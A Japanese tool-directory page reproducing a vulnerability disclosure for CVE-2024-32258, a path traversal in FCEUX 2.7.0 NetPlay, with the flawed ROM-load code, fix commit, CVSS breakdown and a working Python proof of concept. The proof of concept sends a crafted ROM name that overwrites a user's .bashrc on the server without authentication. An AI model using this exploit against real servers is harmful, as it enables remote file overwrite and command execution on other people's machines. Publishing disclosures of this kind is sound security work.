Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-32258 | Kitploit
ツール/GitHubGitHub/secnotes/cve-2024-32258
脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト学習と教育
GitHubsecnotes/cve-2024-32258

CVE-2024-32258

リポジトリを見る
31年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

概要

  • CVE ID: CVE-2024-32258
  • タイプ: パストラバーサル
  • ベンダー: FCEUX
  • 製品: FCEUX_NetPlay
  • バージョン: 2.7.0
  • 修正: 48b48e7c13be1b949074f42660a33c7ef57135e1

説明

FCEUXは、私たちを子供時代に連れ戻してくれるNESエミュレータです。オンラインで2人のプレイヤーがゲームをプレイできるなど、複数の興味深い機能を提供します。

サーバーとクライアントは互いにROMを渡すことができますが、サーバーはクライアントから送信されたROM名の特殊文字をフィルタリングしません。このパストラバーサル脆弱性により、サーバー上の任意のファイルが上書きされる可能性があります。さらに深刻なことに、ROMのリモートロードは、サーバー設定でログインにパスワードが必要な場合でも、認証を必要としません。

この脆弱性はコミット 798c5a1d9c73b899cdbe3d613c0022588281979f で導入されました - NetPlay向けに、クライアントがROMのロードを要求する機能を追加しました。

root@kitploit:~
if (acceptRomLoadReq)
{
    FILE *fp;
    std::string filepath = QDir::tempPath().toLocal8Bit().constData(); 
    const char *romData = &static_cast<const char*>(msgBuf)[ sizeof(netPlayLoadRomReq) ];

    filepath.append( "/" );
    filepath.append( msg->fileName );

    printf("Load ROM Request Received: %s\n", filepath.c_str());

    //printf("Dumping Temp Rom to: %s\n", filepath.c_str());
    fp = ::fopen( filepath.c_str(), "w");

    if (fp == nullptr)
    {
        return;
    }
    ::fwrite( romData, 1, msgSize, fp );
    ::fclose(fp);

    FCEU_WRAPPER_LOCK();
    LoadGame( filepath.c_str(), true, true );
    FCEUI_SetEmulationPaused(EMULATIONPAUSED_PAUSED);
    FCEU_WRAPPER_UNLOCK();

    resyncAllClients();
}

msf->fileName と fp はどちらも攻撃者によって指定されます。

PoC

fceuxはソースコードのコンパイルから入手することもできますし、当方がコンパイルしたバイナリを直接使用することもできます。fceux.zip

PoC

root@kitploit:~
import socket
import binascii

client = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
client.connect(('192.168.17.131', 4046))

header = "aa55aa55aa55aa550000000a00000204000000f0"
file_name = '../home/tom/.bashrc'
padding1 = '\0' * (256 - len(file_name))
nes_content = "gnome-calculator\n"
padding2 = '\0' * 0x100

client.send(binascii.unhexlify(header) + (file_name + padding1 + nes_content + padding2).encode())
res = client.recv(1024)
print(res)

packet = "0000000000000000000000000800450000641108400040062b8a7f0000017f000001cd340fcee511e70e3cfc427080180200fe5800000101080a94ee338594ee3382aa55aa55aa55aa5500000028000000300000000100000001000000000000000000000000000000000000000000000000"
client.send(binascii.unhexlify(packet))
res = client.recv(1024)
print(res)

お楽しみください! 😄

https://github.com/liyansong2018/CVE-2024-32258/assets/25031216/2c237254-3ff8-4690-b0ea-d413f6e8c48d

深刻度

高 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

著者

Yansong Li と Yijie Xun(西北工業大学)

ツールをダウンロード
CVSS3.1スコア詳細
攻撃元ネットワークネットワーク経由で攻撃を開始する
攻撃の複雑さ低2つのメッセージを送信するだけ
必要な権限不要攻撃パケットの送信に権限は不要
ユーザー操作必要ROMをロードするための確認ボタンをクリックする。
スコープ変更なし該当なし
機密性高任意のファイルの上書き
完全性高任意のファイルの上書き
可用性高任意のファイルの上書き